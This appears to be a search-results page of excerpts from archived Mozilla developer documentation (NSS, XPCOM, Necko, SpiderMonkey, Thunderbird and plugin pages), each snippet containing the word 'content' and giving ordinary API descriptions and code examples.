NSPR LOG MODULES
append including append results in log entries being appended to the existing
contents of the file referenced by nspr_log_file.
... if not specified, the existing
contents of nspr_log_file will be lost as a new file is created with the same filename.
PR_PushIOLayer
caution keeping the pointer to the stack even as layers are pushed onto the top of the stack is accomplished by swapping the
contents of the file descriptor being pushed and the stack's current top layer file descriptor.
... the
contents of the caller's object are swapped into another container, including the reference to the object's destructor.
JSS FAQ
jss frequently asked questions newsgroup: mozilla.dev.tech.crypto
content: what versions of jdk and jce do you suggest?
...ss/ssl/sslserver.java org/mozilla/jss/ssl/ssltest.java other test code that may prove useful: org/mozilla/jss/asn1/integer.java org/mozilla/jss/asn1/sequence.java org/mozilla/jss/asn1/set.java org/mozilla/jss/pkcs10/certificationrequest.java org/mozilla/jss/pkcs12/pfx.java org/mozilla/jss/pkix/cert/certificate.java org/mozilla/jss/pkix/cmmf/certrep
content.java org/mozilla/jss/pkix/crmf/certreqmsg.java org/mozilla/jss/pkix/crmf/certtemplate.java org/mozilla/jss/pkix/primitive/name.java org/mozilla/jss/provider/javax/crypto/jsssecretkeyfactoryspi.java org/mozilla/jss/util/utf8converter.java org/mozilla/jss/util/base64inputstream.java jss/samples/pqggen.java jss/samples/pkcs12.java if i don't call s...
NSS_3.12.2_release_notes.html
nss 3.12.2 release notes 2008-10-20 newsgroup: mozilla.dev.tech.crypto
contents introduction distribution information new in nss 3.12.2 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.2 is a patch release for nss 3.12.
... bug 432260: [[@ pkix_pl_httpdefaultclient_hdrcheckcomplete - pkix_pl_memcpy] crashes when there is no
content-length header in the http response bug 436599: pkix: aia extension is not used in some bridge ca / known certs configuration bug 437804: certutil -r for cert renewal should derive the subject from the cert if none is specified.
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto
contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
...em_util] [[@ memcmp] bug 396256: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous comments in der_asciitotime bug 422866: vfychain -pp command crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/
content/resetpassword.xul in url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_findusercertbyusage() returns wrong certificate if multiple certs with same subject available bug 404919: memory leak in sftkdb_readsecmoddb() (sftkmod.c) bug 406120: allow application to specify ocsp timeout bug 361025: support for camellia cipher suites to tls rfc4132 bug 3...
NSS API Guidelines
examples of these data in structures may include things like the pkcs #7
contentinfo structure.
...some simple strategies and their issues: use hash tables: hash table lookups are usually quite fast, limiting the
contention on the lock.
PKCS #11 Module Specs
when this flag is not specified, softoken will allocate large tables to prevent lock
contention.
...when this flag is not specified, softoken will allocate large tables to prevent lock
contention.
NSS tools : modutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module
contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... -list [modulename] display basic information about the
contents of the secmod.db file.
NSS tools : ssltab
session id = { length = 32
contents = {..} 0: 14 11 07 a8 2a 31 91 29 11 94 40 37 57 10 a7 32 | ...¨*1.)..@7w.§2 10: 56 6f 52 62 fe 3d b3 65 b1 e4 13 0f 52 a3 c8 f6 | vorbþ=³e±...r£È.
...l3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x713c 0x9338 0x30e1 0xf8d6 0xb934 0x7351 0x200c 0x3fd0 } ] >-- [ sslrecord { type = 22 (handshake) version = { 3,0 } length = 997 (0x3e5) handshake { type = 2 (server_hello) length = 70 (0x000046) serverhello { server_version = {3, 0} random = {...} session id = { length = 32
contents = {..} } cipher_suite = (0x0003) ssl3/rsa/rc4-40/md5 } type = 11 (certificate) length = 709 (0x0002c5) certificatechain { chainlength = 706 (0x02c2) certificate { size = 703 (0x02bf) data = { saved in file 'cert.001' } } } type = 12 (server_key_exchange) length = 202 (0x0000ca) type = 14 (server_hello_done) length = 0 (0x000000) } } ] --> [ sslrecord { type = 22 (handshake) version = { 3,0 } len...
NSS tools : ssltap
session id = { length = 32
contents = {..} 0: 14 11 07 a8 2a 31 91 29 11 94 40 37 57 10 a7 32 | ...¨*1.)..@7w.§2 10: 56 6f 52 62 fe 3d b3 65 b1 e4 13 0f 52 a3 c8 f6 | vorbþ=³e±...r£È.
...l3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x713c 0x9338 0x30e1 0xf8d6 0xb934 0x7351 0x200c 0x3fd0 } ] >-- [ sslrecord { type = 22 (handshake) version = { 3,0 } length = 997 (0x3e5) handshake { type = 2 (server_hello) length = 70 (0x000046) serverhello { server_version = {3, 0} random = {...} session id = { length = 32
contents = {..} } cipher_suite = (0x0003) ssl3/rsa/rc4-40/md5 } type = 11 (certificate) length = 709 (0x0002c5) certificatechain { chainlength = 706 (0x02c2) certificate { size = 703 (0x02bf) data = { saved in file 'cert.001' } } } type = 12 (server_key_exchange) length = 202 (0x0000ca) type = 14 (server_hello_done) length = 0 (0x000000) } } ] --> [ sslrecord { type = 22 (handshake) version = { 3,0 } len...
sslfnc.html
there are two ways to transfer the
content of ssl_inheritance from parent to child: the child inherits the parent's environment, which must include the ssl_inheritance variable.
... the parent transmits the
content of ssl_inheritance to the child by some other means, such as on the command line, or in another file or pipe.
ssltyp.html
never alter the
contents of a certificate structure.
... never alter the
contents of a key structure.
NSS Tools ssltap
session id = { length = 32
contents = {..} 0: 14 11 07 a8 2a 31 91 29 11 94 40 37 57 10 a7 32 | ...¨*1.)..@7w.§2 10: 56 6f 52 62 fe 3d b3 65 b1 e4 13 0f 52 a3 c8 f6 | vorbþ=³e±...r£È.
... challenge = { 0x713c 0x9338 0x30e1 0xf8d6 0xb934 0x7351 0x200c0x3fd0 }]<-- [sslrecord { type = 22 (handshake) version = { 3,0 } length = 997 (0x3e5) handshake { type = 2 (server_hello) length = 70 (0x000046) serverhello { server_version = {3, 0} random = {...} session id = { length = 32
contents = {..} } cipher_suite = (0x0003) ssl3/rsa/rc4-40/md5 } type = 11 (certificate) length = 709 (0x0002c5) certificatechain { chainlength = 706 (0x02c2) certificate { size = 703 (0x02bf) data = { saved in file 'cert.001' } } } type = 12 (ser...
NSS tools : modutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module
contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... -list [modulename] display basic information about the
contents of the secmod.db file.
NSS tools : signtool
--norecurse blocks recursion into subdirectories when signing a directory's
contents or when parsing html.
... -v archive displays the
contents of an archive and verifies the cryptographic integrity of the digital signatures it contains and the files with which they are associated.
NSS tools : ssltap
session id = { length = 32
contents = {..} 0: 14 11 07 a8 2a 31 91 29 11 94 40 37 57 10 a7 32 | ...¨*1.)..@7w.§2 10: 56 6f 52 62 fe 3d b3 65 b1 e4 13 0f 52 a3 c8 f6 | vorbþ=³e±...r£È.
... 0x9338 0x30e1 0xf8d6 0xb934 0x7351 0x200c 0x3fd0 } ] >-- [ sslrecord { type = 22 (handshake) version = { 3,0 } length = 997 (0x3e5) handshake { type = 2 (server_hello) length = 70 (0x000046) serverhello { server_version = {3, 0} random = {...} session id = { length = 32
contents = {..} } cipher_suite = (0x0003) ssl3/rsa/rc4-40/md5 } type = 11 (certificate) length = 709 (0x0002c5) certificatechain { chainlength = 706 (0x02c2) certificate { size = 703 (0x02bf) data = { saved in file 'cert.001' } } ...
Necko Architecture
warning: the
content of this article may be out of date.
... dependencies necko requires the following libraries for linking: nspr xpcom original document information author(s): jud valeski last updated date: november 8, 1999 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
The Necko HTTP module
http cache (v2) describes in detail the api and the implementation details of the
content (http, but not only) cache.
... original document information last updated date: may 12, 2003 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details ...
Necko Interfaces Overview
warning: the
content of this article may be out of date.
... used directly by protocol handler implementations (as well as by mailnews and chatzilla) synchronous i/o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Multithreading in Necko
warning: the
content of this article may be out of date.
... original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Introduction to the JavaScript shell
-p if the first line of the file is "/usr/bin/env js -p", then the file
content will be interpreted by the javascript engine.
... read(filename[, type]) reads and returns the
contents of file.
JSAutoByteString
str jsstring * a pointer to jsstring to get initial
content by calling js_encodestring(cx, str).
... char *encodelatin1(js::exclusivecontext *cx, jsstring *str) call js::lossytwobytecharstonewlatin1charsz, or allocate string and copy the
content of jslinearstring::latin1chars, and take the ownership of the string.
JS_GetSecurityCallbacks
callback structure struct jssecuritycallbacks { jscspevalchecker
contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 jscheckaccessop checkobjectaccess; // obsolete since jsapi 29 jsprincipalstranscoder principalstranscoder; // obsolete since jsapi 13 jsobjectprincipalsfinder findobjectprincipals; // obsolete since jsapi 13 }; name type descri...
...ption
contentsecuritypolicyallows jscspevalchecker a pointer to the function which checks if a csp instance wants to disable eval() and friends.
JS_GetStringBytes
the application must not modify the
contents of the array.
... note that for non-ascii strings, if js_cstringsareutf8 is false, these functions can return a corrupted copy of the
contents of the string.
TPS Bookmark Lists
each key is the full path for the array of
contents specified in the key's value.
...folder
contents the
contents for a folder are given as an array of objects, representing various bookmark types, described below.
Mozilla Projects
internet explorer also supports the ability to edit specific elements using the
contenteditable attribute; starting with firefox 3, gecko also supports
contenteditable.
... web replay web replay allows firefox
content processes to record their behavior, replay it later, and rewind to earlier states.
A Web PKI x509 certificate primer
write extensions file by creating a new file with name openssl.ss.cnf with the following
contents: basicconstraints = ca:false subjectaltname =dns:www.example.com extendedkeyusage =serverauth 4.
... write extensions file (make a new file with name openssl.ss.cnf with the following
contents) basicconstraints = ca:false subjectaltname =dns:www.example.com extendedkeyusage =serverauth authorityinfoaccess = ocsp;uri:http://ocsp.example.com:80/ intermediate signs the csr (using sha256) and appends the extensions described in the file "openssl x509 -req -sha256 -days 1096 -in example.csr -cakey intkey.pem -ca int.pem -set_serial $some_large_integer -out www.ex...
Setting up an update server
then, create a file within called update.xml with these
contents, replacing <mar name>, <hash> and <size> with the mar's filename, its sha512 hash, and its file size in bytes.
... windows/linux: <install dir>/distribution/policies.json macos: <install dir>/
contents/resources/distribution/policies.json create the distribution directory, if necessary, and put this in policies.json: { "policies": { "appupdateurl": "http://127.0.0.1:8000/update.xml" } } now you are ready to update!
Signing Mozilla apps for Mac OS X
codesign -s mac-testing -fv \ --keychain /users/user/library/keychains/mykeychain.keychain \ --resource-rules ./application.app/
contents/_codesignature/coderesources \ --requirements '=designated => identifier "org.you.yourapp" and ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate leaf[subject.ou] = "43aq936h96"))' \ application.app or if ...
...the folder will fail to validate if any of these cases occur (there may be other cases not listed here): if any files that were included in the signature have been removed or modified if any files have been added to a folder that should have all files signed the coderesources file this file is located in your application's bundle at
contents/_codesignature/coderesources.
Implementation Details
msaa at-spi how to find the
content window and load the document in xul-based clients, screen readers may need to find the
content window so that they know where to start grabbing the accessible tree, in order to load the current document into a buffer in their own process.
... msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive technology's responsibility to watch for events that indicate when windows or
content subtrees are being destroyed, and to release all accessible objects related to that window.
XUL Accessibility
descr2" /> if the element implements nsidomxullabeledcontrolelement or nsidomxulselectcontrolitemelement interface then it is used label property if the element doesn't implement nsidomxulselectcontrolelement then label attribute is used if neighbour of the element has label element pointing to this element by the control attribute, if the label element is found then use value attribute or its
content.
... aria-describedby attribute, description is generated from elements pointed by aria-describedby attribute <description id="descr1">label1</description> <description id="descr2">label2</description> <textbox aria-describedby="descr1 descr2" /> if neighbour of the element has description element pointing to this element by the control attribute, if the description element is found then use its
content.
Embedded Dialog API
the precise appearance and
contents of the new window are defined by the application, though the app should conform to the chromeflags parameter of nsiwindowcreator::createchromewindow.
...a
content window (the chrome flag is 0) is a browser window.
Using the Places livemark service
this creates the encapsulating livemark without actually fetching the rss feed's
contents.
...note: the caller is responsible for reloading the livemark after changing its feed uri (since the
contents are likely to be different given a different feed).
Building the WebLock UI
weblock.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="weblock_mgg" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="web lock manager" style="width: 30em;" persist="screenx screeny" screenx="24" screeny="24"> <script src="chrome://weblock/
content/weblock.js"/> <hbox> <separator orient="vertical" class="thin"/> <vbox flex="1"> <separator class="thin"/> <hbox align="center"> <textbox id="dialog.input" flex="1"/> <button label="add this url" oncommand="addthissite();"/> </hbox> <hbox align="center"> <radiogroup onchange="togglelock();"> <radio label="lock"/>...
...here is that xul file in its entirety: the weblock overlay <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/
content/weblock.css" type="text/css"?> <overlay id="weblockoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://weblock/
content/weblock.js"/> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="weblock-status" insertbefore="offline-...
Creating the Component Code
it can be used to implement parental controlled browsing for children, or for targeted "kiosk browsing," where the
content is restricted to a particular server.
...this is the object that contains the business logic, that implements functionality such as starting a network download, implementing interfaces that listen to the download progress, or providing a new
content type handler.
Packaging WebLock
the archive, its subdirectory structure, and its
contents should look like this: weblock.xpi archive viewed in winzip note that the top level of the archive holds the install.js installation file, an rdf manifest for the package as a whole, and the component files (weblock.xpt and weblock4.dll).
... // register the new ui with the mozilla chrome registry registerchrome(
content, getfolder(cf,"weblock.xpi"),"weblock"); registerchrome(skin, getfolder(cf, "weblock.xpi"),"weblock"); // perform the installation if there are no errors if (err==success) performinstall(); else cancelinstall(err); the weblock trigger script the trigger script is the script placed on a web page that actually initiates an xpinstall installation and calls the installation script that appear...
Starting WebLock
the following snippet adjusts the thefile object representing that file: nsembedcstring filename("weblock.txt"); appdir->appendnative(filename); manipulating files with nsifile once you have an nsifile object pointing to the file that you're interested in, you can open it and read its
contents into memory.
... the following code loads the
contents of the file referenced by the nsifile object thefile into the buffer buf: nscomptr<nsilocalfile> localfile = do_queryinterface(thefile); if (!localfile) return -1; prbool exists; rv = thefile->exists(&exists); if (ns_failed(rv)) return -1; char *buf = null; if (exists) { // determine file size: pruint32 fs, numread; print64 filesize; rv = thefile->getfilesize(&filesize); if (ns...
How To Pass an XPCOM Object to a New Window
a more useful example is available in the source code: toolkit/components/help/
content/contexthelp.js#61 if you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
... getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/
content/debug.xul", "debug history", "chrome,centerscreen,resizable", myobject); note in this example that myobject is passed to the openwindow() method; you can pass any xpcom object (or any other value, for that matter) in this way.
Interfacing with the XPCOM cycle collector
how to make your classes participate the interface between the cycle collector and your classes can be accessed directly using the
contents of xpcom/base/nscyclecollector.h, but there are convenience macros for annotating your classes in xpcom/glue/nscyclecollectionparticipant.h that are much easier to use.
...you can see an example of their use in some more complicated classes such as
content/base/src/nsgenericelement.cpp.
Components.utils.isXrayWrapper
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web
content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...example var isxray = components.utils.isxraywrapper(gbrowser.
contentwindow); // true var waived = components.utils.waivexrays(gbrowser.
contentwindow); isxray = components.utils.isxraywrapper(waived); // false ...
XPCShell Reference
for instance, assume that you have a file called test.js with the following
contents: for (prop in arguments) { print(prop + "=" + arguments[prop]); } entering the following at the command line should produce the following output: $ xpcshell test.js this is a test 0=this 1=is 2=a 3=test xpcshell extensions once you execute xpcshell without a script you'll be at the js> command line.
... original document information author: david bradley <dbradley@netscape.com> last updated date: 17 march 2003 copyright information: portions of this
content are © 1998–2008 by individual mozilla.org contributors;
content available under a creative commons license.
Language bindings
this is useful for privileged code, such as add-on code, to access variables and apis defined in web
content.components.utils.exportfunctionthis function provides a safe way to expose a function from a privileged scope to a less-privileged scope.components.utils.forcegccomponents.utils.forcegc lets scripts force a garbage collection cycle.
...for example, you can import xpcomutils.jsm to avoid copy/pasting long xpcom component registration boilerplate in your component files.components.utils.importglobalpropertiesimports various objects into a system scope.components.utils.isxraywrapperwhen privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web
content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
IAccessibleTable
content and size of the returned table are implementation dependent.
...
content and size of the returned table are implementation dependent.
mozIAsyncFavicons
adata binary
contents of the favicon to save.
... adataurl string containing a data url that represents the
contents of the favicon to save.
nsICategoryManager
var
content_type = 'application/pdf'; // update the category manager in case the plugins are already loaded.
... let categorymanager = cc['@mozilla.org/categorymanager;1']; categorymanager.getservice(ci.nsicategorymanager).deletecategoryentry('gecko-
content-viewers',
content_type, false); // update pref manager to prevent plugins from loading in future var stringtypes = ''; var types = []; var pref_disabled_plugin_types = 'plugin.disable_full_page_plugin_for_types'; if (services.prefs.prefhasuservalue(pref_disabled_plugin_types)) { stringtypes = services.prefs.getcharpref(pref_disabled_plugin_types); } if (stringtypes !== '') { types = stringtypes.split(','); } if (types.indexof(
content_type) === -1) { types.push(
content_type); } services.prefs.setcharpref(pref_disabled_plugin_types, types.join(',')); remarks categories have a variety of uses throughout the mozilla platform.
nsIChromeFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable handles loading of
content in a remote chrome frame.
... see also
content process event handling nsi
contentframemessagemanager nsiframeloader nsiframemessagelistener ...
nsIChromeRegistry
the extension, ext, is one of: xul for a "
content" package.
...the extension, ext, is one of: xul for a "
content" package.
nsIClipboardDragDropHooks
widget/public/nsiclipboarddragdrophooks.idlscriptable interfaces for overriding the built-in drag, drop, copy, and paste implementations in the
content area and editors.
... method overview boolean allowdrop(in nsidomevent event, in nsidragsession session); boolean allowstartdrag(in nsidomevent event); boolean oncopyordrag(in nsidomevent aevent, in nsitransferable trans); boolean onpasteordrop(in nsidomevent event, in nsitransferable trans); methods allowdrop() tells gecko whether a drop is allowed on this
content area.
nsICookiePermission
this is done by leveraging the loadgroup of the channel to find the root
content docshell, and the uri associated with its principal.
... if the root
content docshell or its principal's uri cannot be obtained, this method will throw.
nsIDOMGlobalPropertyInitializer
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an xpcom component implementing this interface can be exposed to web
content as a property on the window.
...an alternative way to expose an object to the web
content is to add the property in response to the
content-document-global-created notification.
nsIDOMProgressEvent
this doesn't include headers and other overhead, but only the
content itself.
... total unsigned long long the total number of bytes of
content that will be transferred during the operation.
getFile
ns_xpcom_component_dir "comsd" ns_xpcom_component_dir_list "comsdl" ns_xpcom_component_registry_file "comregf" ns_xpcom_xpti_registry_file "xptiregf" ns_xpcom_library_file "xpcomlib" ns_gre_dir "gred" note: on mac os x, up through firefox 34 this is the
contents/macos directory within the application's bundle.
... starting with firefox 35, this is
contents/resources.
nsIDownloader
netwerk/base/public/nsidownloader.idlscriptable a special implementation of a nsistreamlistener that will make the
contents of the stream available as a file.
... downloadlocation the location where the stream
contents should be written.
nsIDragDropHandler
nsidragdrophandler is an interface for communicating with the built-in drag and drop implementation in the
content area.
...
content/base/public/nsidragdrophandler.idlscriptable please add a summary to this article.
nsIFaviconService
adata binary
contents of the favicon to save.
... adataurl string containing a data url that represents the
contents of the favicon to save.
nsIFile
usually, "move" means to relocate the file to a different directory without changing the file's
contents or properties, or in fact the file's serial number (inode).
... usually, "move" means to relocate the file to a different directory without changing the file's
contents or properties, or in fact the file's serial number (inode).
nsIFrameMessageListener
content/base/public/nsimessagemanager.idlscriptable implement this interface in a remote frame handling process to receive messages from the browser process.
...see also
content process event handling nsiframelistener ...
nsIFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable provides methods for managing message listeners on local frames.
... see also
content process event handling nsiframemessagelistener nsisyncmessagesender ...
nsIHttpServer
with * another directory); if null, any current mapping for the given path is * removed * @throws ns_error_invalid_arg * if dir is non-null and does not exist or is not a directory, or if path * does not begin with and end with a forward slash */ void registerdirectory(in string path, in nsifile dir); /** * associates files with the given extension with the given
content-type when * served by this server, in the absence of any file-specific information * about the desired
content-type.
... */ void register
contenttype(in string extension, in string type); /** * sets the handler used to display the
contents of a directory if * the directory contains no index page.
nsILocalFile
example #include <stdio.h> #include "nserror.h" #include "nsilocalfile.h" // read the
contents of a nsilocalfile...
... example #include "prio.h" #include "nserror.h" #include "nsilocalfile.h" // read the
contents of a nsilocalfile...
nsIMsgWindow
void stopurls(); closewindow() when the msg window is being unloaded from the
content window, this notification can be used to force a flush on anything the message window hangs on.
...it clears out the
content listener, the windowcommands, the statusfeedback and the docshell objects.
nsINavHistoryResultViewer
invalidatecontainer() called when something has happened that requires that the
contents of a container be rebuilt.
...invalidateall() is called as well if the sorting changes, in order to cause the
contents to update properly.
nsIOutputStream
flush() this method may be called to instruct the output stream to write out the
contents of any internal buffers to a low-level data sink, such as a file on disk.
... nsacstring* pbuf = (nsacstring*) aclosure; const char* data; pruint32 len = ns_cstringgetdata(&data); data += afromoffset; len -= afromoffset; if (len > acount) len = acount; memcpy(atosegment, data, len); // indicate that we have copied len bytes to the segment *areadcount = len; return ns_ok; } // write the
contents of asource into astream, using writesegments // to avoid intermediate buffer copies.
nsIPrefLocalizedString
methods setdatawithlength() used to set the
contents of this object.
... tostring() used to retrieve the
contents of this object into a wide string.
nsIScriptError
if you want to log an error at chrome level you should set a category from the first section (leaving it empty might log it as
content error).
... categories the web console does not display "xpconnect javascript" "component javascript" "chrome javascript" "chrome registration" "xbl" "xbl prototype handler" "xbl
content sink" "xbl javascript" "frameconstructor" categories the web console displays "hudconsole" "css parser" "css loader" "
content javascript" "dom events" "dom:html" "dom window" "svg" "imagemap" "html" "canvas" "dom3 load" "dom" "malformed-xml" "dom worker javascript" "mixed
content blocker" "csp" "invalid hsts headers" "insecure password field" see also using the web console error console nsiconsolemessage nsiscripterror2 ...
nsISessionStore
return value an nsidomnode representing the new tab, the
content of which is a duplicate of atab.
...if you just hold a reference to some
content document in the overlay's chrome window, here is how you find its corresponding tab: function tabfromdoc(doc) { var no = gbrowser.getbrowserindexfordocument(doc); return gbrowser.tabcontainer.childnodes[no]; } // example use: cc['@mozilla.org/browser/sessionstore;1'] .getservice(ci.nsisessionstore) .settabvalue(tabfromdoc(my
contentdoc), 'mykey', 'myvalue'); see also the session sto...
nsITreeView
iseditable() called to ask the view if the cell
contents are editable.
... setcelltext() setcelltext is called when the
contents of the cell have been edited by the user.
nsIWebBrowserFind
by default, the implementation will search the focused frame, or if there is no focused frame, the web browser
content area.
... searchframes boolean whether to search through all frames in the
content area.
Setting HTTP request headers
in addition to the actual
content, some important information is passed with http headers for both http requests and responses.
... you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in
content, or even from css.
Using IndexedDB in chrome
the indexeddb api is typically used to store data in the user's browser from
content javascript.
... (see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from
content var req = indexeddb.open("my-database"); // ...
Using nsCOMPtr
contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i...
...portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
XPCOM category image-sniffing-services
in firefox 3, a new xpcom category was added in bug 391667 to allow "third-party" xpcom components to identify images based on their
content.
... if mozilla's built-in image code cannot identify an image, then any xpcom components implementing the nsi
contentsniffer interface may register under the "image-sniffing-services" category, and will be queried to determine the mime type of the image being downloaded.
XPCOM tasks
warning: the
content of this article may be out of date.
... original document information author(s): unknown last updated date: may 8, 2003 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
XPCOM
in addition to the actual
content, some important information is passed with http headers for both http requests and responses.storagestorage is a sqlite database api.
...the
contents herein are oriented primarily toward extension developers and people embedding xpcom in other projects.xpcom tasksthe xpcom module roughly parallels the c/c++ standard libraries.
Address book sync client design
warning: the
content of this article may be out of date.
...pizzarro <rhp@netscape.com>
contents overview client side sync logic public interfaces overview there is an component available in the mozilla tree for performing synchronization operations against a server based address book.
Autoconfiguration in Thunderbird
this may be on the same machine as other web servers, but the web server must be configured to the
content to any requested domain.
... all config files must be served as
content-type: text/xml (or application/xml), otherwise the file will be ignored.
nsIMsgCloudFileProvider
this url should not point to external web
content.
...this url should not point to external web
content.
Mail composition back end
warning: the
content of this article may be out of date.
...pizzarro <rhp@netscape.com>
contents overview sending messages nsimsgsend sending listener interfaces nsimsgsendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
Thunderbird API documentation
warning: this
content is for older versions of thunderbird.
... hidden prefs libmime libmime module libmime
content type handlers mail and rdf using the multiple accounts api spam filtering ...
Building a Thunderbird extension 6: Adding JavaScript
warning: this
content is for older versions of thunderbird.
...depending on the installed theme the result will look something like this: modify xul elements with javascript save the following javascript code into the
content/ folder next to your myhelloworld.xul file and name it overlay.js.
Creating a Custom Column
for this we overlay messenger.xul, by placing the following line in our chrome.manifest file: overlay chrome://messenger/
content/messenger.xul chrome://replyto_col/
content/replyto_col_overlay.xul now that our overlay is set up we need to connect a column to the current columns that exist.
... id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> </treecols> </tree> <!-- include our javascript file --> <script type="text/javascript" src="chrome://replyto_col/
content/replyto_col.js"/> </overlay> that's it!
FAQ
the old
contents of this faq page were duplicated in the setting up extension development environment article and the building a thunderbird extension article.
... (duplicate
content has been removed from this page.) other resources can be found on the thunderbird extension development portal page.
Add Option to Context Menu
assuming this on chrome.manifest: overlay chrome://messenger/
content/mailwindowoverlay.xul chrome://myext/
content/thunderbird-overlay.xul add the next in thunderbird-overlay.xul.
...this can be reached by adding these lines to the chrome.manifest file: overlay chrome://messenger/
content/mailwindowoverlay.xul chrome://myaddon/
content/tboverlay-tb2.xul appversion<3.0 overlay chrome://messenger/
content/mailwindowoverlay.xul chrome://myaddon/
content/tboverlay-tb3.xul appversion=>3.0 than we need two overlay xul files with
content from examples above.
Using C struct and pointers
using c strings with js-ctypes a pointer to char in javascript is declared as follows: var str = ctypes.pointertype(ctypes.char); now imagine you call a c function that returns a c string and you want to modify the
contents of this string.
... once we have a ctypes char pointer that points to a buffer of known size, we modiify the
contents of the memory block as follows: ptr.
contents = string("hello world from javascript!!!"); string() adds the '\0' character.
Declaring types
you can, optionally, leave out the field descriptor array; this creates an opaque structure whose
contents are not defined.
... for another example see here: getcursorpos opaque structures an opaque structure is one whose
content fields are not known, or are not intended to be accessed directly.
Working with ArrayBuffers
var casted = ctypes.cast(pixelbuffer.address(), ctypes.uint8_t.array(myimgdata.data.length).ptr).
contents; // myimgdat.data.length is imgwidth * imgheight * 4 because per pixel there is r, g, b, a numbers casted.tostring(); // "ctypes.uint8_t.array(640000)([45, 66, 135, 255, 99, 86, 55, 255, ..........
... method 2: manually handled another strategy is to handle it manually, as illustrated by the following code example: var casted = ctypes.cast(pixelbuffer.address(), ctypes.uint8_t.array(myimgdata.data.length).ptr).
contents; // myimgdat.data.length is imgwidth * imgheight *4 because per pixel there is r, g, b, a numbers /** method a **/ for (var nindex = 0; nindex < casted.length; nindex = nindex + 4) { // casted.length is same as myimgdat.data.length var r = casted[nindex]; var g = casted[nindex + 1]; var b = casted[nindex + 2]; var a = casted[nindex + 3]; myimgdat.data[nindex] = r; myimg...
StructType
if this isn't specified, the structure is considered opaque and you can't access its
contents directly.
... return value a new cdata object of the appropriate pointer type, whose value points to the
contents of the specified field.
Initialization and Destruction - Plugins
np_embed means that the instance was created by an embed and shares the browser window with other
content.
... np_full means that the instance was created by a separate file and is the primary
content in the window.
Plug-in Basics - Plugins
this is up to the
content developer or web page author.
... the way the
content provider uses html elements to invoke the plug-in determines its display mode: whether it is embedded in a page, is part of a section, appears on its own separate page, or is hidden.
Plug-in Development Overview - Plugins
it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the
